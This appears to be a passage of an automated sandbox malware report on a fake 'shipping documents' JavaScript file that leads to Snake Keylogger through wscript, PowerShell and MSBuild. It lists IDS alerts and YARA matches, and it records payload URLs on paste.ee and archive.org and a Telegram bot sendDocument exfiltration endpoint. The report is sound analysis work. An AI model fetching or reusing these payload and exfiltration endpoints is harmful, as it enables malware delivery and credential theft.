utionscopednlib.dotnetsecurityattributednlib.dotnet.writerpeheadersoptionsdnlib.dotnet.writerioffsetheap`1dnlib.dotnetimethoddnlib.dotnetcorlibtypesdnlib.dotnet.writertablesheapdnlib.dotnet.emitopcodetypednlib.dotnetiassemblyresolverdnlib.dotnetassemblyattributesdnlib.dotneticustomattributetypednlib.dotnetdummyloggerdnlib.dotnet.mdrawfieldptrrowdnlib.dotnetiloggermicrosoft.win32.taskschedulerdailytriggerdnlib.dotnettyperefuserdnlib.dotnet.writerdummymodulewriterlistenerdnlib.dotnetassemblyhashalgorithmdnlib.dotnet.pdbpdbdocumentdnlib.dotnetpinvokeattributesdnlib.dotnetivariablednlib.dotnetresourcednlib.dotnet.writerchunklist`1dnlib.dotnetiistypeormethodmicrosoft.win32.taskschedulercustomtriggerdnlib.dotnet.writerstartupstubdnlib.dotnetgenericinstmethodsigdnlib.dotnetmemberrefuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetgenericparamdnlib.dotnet.writerchunklistbase`1dnlib.utilsextensionsdnlib.dotnetnativetypednlib.dotnet.mdrawenclogrowdnlib.dotnetgenericparamcontextdnlib.peimageoptionalheader64dnlib.dotnet.mdrawnestedclassrowdnlib.dotnetextensionsdnlib.dotneteventdefdnlib.dotnet.emitlocaldnlib.dotneticontainsgenericparameterdnlib.dotnetitokenoperanddnlib.dotnet.writerimdtablednlib.pedllcharacteristicsdnlib.dotnetifullnamednlib.dotnet.resourcesresourcereaderdnlib.dotnetstrongnamepublickeydnlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnetbytearrayequalitycomparerdnlib.dotnet.mdrawmethodsemanticsrowdnlib.ioiimagestreamcreatordnlib.dotnetvtablefixups source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `5dnlib.dotnetdeclsecuritydnlib.dotnet.writermdtablewriterdnlib.dotnetparamdefuserdnlib.dotnetframeworkredirectdnlib.dotnet.mdguidstreamdnlib.dotnet.writernativemodulewriteroptionsmemorymappedionotsupportedexceptiondnlib.dotnetmemberfindermicrosoft.win32.taskschedulertaskeventwatchermicrosoft.win32.taskschedulermonthsoftheyeardnlib.dotnetgenericinstsigmicrosoft.win32.taskschedulertaskservicednlib.dotnet.pdbsymbolwritercreatordnlib.dotnetihasconstantdnlib.peimagefileheaderdnlib.dotnetmethodsemanticsattributesdnlib.dotnetfileattributesdnlib.dotnetityperesolverdnlib.dotnetimplmapuserdnlib.dotnetmdtokensystem.runtime.compilerservicesextensionattributednlib.dotnet.writerichunkdnlib.dotnetmethodattributesdnlib.dotnet.writeriwritererrordnlib.dotnet.resourcesuserresourcedatadnlib.dotnetnullresolverdnlib.dotnet.writerstringsheapdnlib.dotnet.writerpeheadersdnlib.dotnetimplmapdnlib.dotnet.pdb.dssisymunmanageddocumentwriterdnlib.dotnet.mdheaptypednlib.dotnetidnlibdefdnlib.dotnetcustomattributemicrosoft.win32.taskscheduler.fluentactionbuilderdnlib.dotnet.mdrawmemberrefrowdnlib.utilsmfunc`3dnlib.dotnet.mdrawexportedtyperowdnlib.dotnet.writermethodbodywriterbasednlib.dotnetgenericvardnlib.dotnetimemberrefparentdnlib.dotnetiownermodulednlib.dotnetpropertysigbioscharacteristicsmicrosoft.win32.taskscheduleritriggerdelaydnlib.dotnet.mdrawfieldmarshalrow source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Hacking\Programas\UAC\UAC\UAC\obj\Debug\UAC.pdb source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Hacking\Programas\UAC\UAC\UAC\obj\Debug\UAC.pdbk= source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: microsoft.win32.taskscheduleritaskhandlerdnlib.dotnet.writermethodbodydnlib.dotnet.resourcesresourcereaderexceptiondnlib.dotnet.writeritokencreatordnlib.peiimageoptionalheaderdnlib.peimagedatadirectorymicrosoft.win32.taskschedulertaskinstancespolicydnlib.dotnet.mdmdheaderruntimeversiondnlib.dotnet.emitlocallistdnlib.dotnet.emitexceptionhandlerdnlib.dotnet.writercor20headeroptionsdnlib.w32resourceswin32resourcespednlib.dotnet.mdrawdeclsecurityrowmicrosoft.win32.taskschedulericalendartriggermicrosoft.win32.taskschedulertaskeventargsdnlib.dotnet.writerimetadatalistenerdnlib.dotnetimportresolverdnlib.dotnetloggereventdnlib.dotnet.pdbpdbscopednlib.peimageoptionalheader32dnlib.dotnet.mdimetadatadnlib.dotnet.writerimodulewriterlistenerdnlib.dotnet.emitoperandtypednlib.dotnet.writermetadataeventeventfilterdnlib.dotnet.writermetadatadnlib.dotnetpublickeytokendnlib.dotnet.pdbisymbolwriter2dnlib.dotnetassemblydefuserdnlib.dotnetdeclsecurityusermicrosoft.win32.taskschedulerresourcereferencevaluednlib.dotnetassemblynameinfodnlib.dotnetmanifestresourceuserdnlib.dotnetaccesscheckermicrosoft.win32.taskschedulertasksetsecurityoptionsdnlib.dotnet.resourcesresourcewriterdnlib.dotnetmodulekinddnlib.peirvafileoffsetconverterdnlib.dotnetpropertydefusermicrosoft.win32.taskschedulertimetriggerdnlib.dotnetassemblyrefusermicrosoft.win32.taskschedulerwildcarddnlib.dotnetmethodspecmicrosoft.win32.taskschedulertaskeventlogmicrosoft.win32.taskschedulertasksessionstatechangetypednlib.dotnetmethodequalitycomparerdnlib.dotnetcustommarshaltypednlib.dotnetpropertydefmicrosoft.win32.taskscheduleridletriggerdnlib.dotnet.pdbpdbwriterdnlib.dotnettypedefuserdnlib.dotnet.emitstackbehaviourdnlib.dotnet.resourcesbuiltinresourcedatadnlib.dotnettypespecuserdnlib.dotnetfixedsysstringmarshaltypemicrosoft.win32.taskschedulertaskactiontypemicrosoft.win32.taskschedulerrepetitionpattern source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: microsoft.win32.taskschedulertasklogontypednlib.dotnet.pdb.dsssymbolreadercreator source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FF88A8AB913h	10_2_00007FF88A8AB8A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FF88A8AB913h	10_2_00007FF88A8AB8B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 026B9731h	12_2_026B9480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 026B9E5Ah	12_2_026B9A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 026B9E5Ah	12_2_026B9A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 026B9E5Ah	12_2_026B9D87

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 207.241.233.30:443 -> 192.168.2.6:49694
Source: Network traffic	Suricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 23.186.113.60:443 -> 192.168.2.6:49695
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 23.186.113.60:443 -> 192.168.2.6:49695

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 23.186.113.60 443

Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: Shipping Documents SI 694_pdf.js	Return value : ['"http://paste.ee/d/fa7OMk20/0"']	Go to definition
Source: Shipping Documents SI 694_pdf.js	Return value : [',send,', '"send"']	Go to definition
Source: Shipping Documents SI 694_pdf.js	Argument value : ['"GET","http://paste.ee/d/fa7OMk20/0",false']	Go to definition

Source: global traffic	HTTP traffic detected: GET /d/xZVSQx4S/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.244.56.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 23.186.113.60 23.186.113.60
Source: Joe Sandbox View	IP Address: 23.186.113.60 23.186.113.60
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49686 -> 23.186.113.60:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49696 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49695 -> 23.186.113.60:443

Source: global traffic	HTTP traffic detected: GET /d/fa7OMk20/0 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /download/new_image_20250413/new_image.jpg HTTP/1.1User-Agent: Mozilla/5.0Host: archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6/items/new_image_20250413/new_image.jpg HTTP/1.1User-Agent: Mozilla/5.0Host: ia801700.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/fa7OMk20/0 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49697 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /d/fa7OMk20/0 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /download/new_image_20250413/new_image.jpg HTTP/1.1User-Agent: Mozilla/5.0Host: archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6/items/new_image_20250413/new_image.jpg HTTP/1.1User-Agent: Mozilla/5.0Host: ia801700.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/xZVSQx4S/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.244.56.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/fa7OMk20/0 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: c.pki.goog
Source: global traffic	DNS traffic detected: DNS query: archive.org
Source: global traffic	DNS traffic detected: DNS query: ia801700.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002876000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: MSBuild.exe, 0000000C.00000002.2507426885.000000000289E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: MSBuild.exe, 0000000C.00000002.2507426885.000000000289E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891B51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.org
Source: powershell.exe, 0000000A.00000002.1577845542.000001E8A9D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://archive.org/
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1577845542.000001E8A9D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://archive.org/download/new_image_20250413/new_image.jpg
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia801700.us.archive.org
Source: powershell.exe, 0000000A.00000002.1529745429.000001E891F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia801700.us.archive.org/6/items/new_image_20250413/new_image.jpg
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/xZVSQx4S/0
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.244.56.186d
Source: MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.244.56.186l
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443

Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.6:49686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.241.224.2:443 -> 192.168.2.6:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 207.241.233.30:443 -> 192.168.2.6:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.6:49695 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, UltraSpeed.cs

.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Sample has a suspicious name (potential lure to open the executable)

Source: Shipping Documents SI 694_pdf.js

Static file information: Suspicious name

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

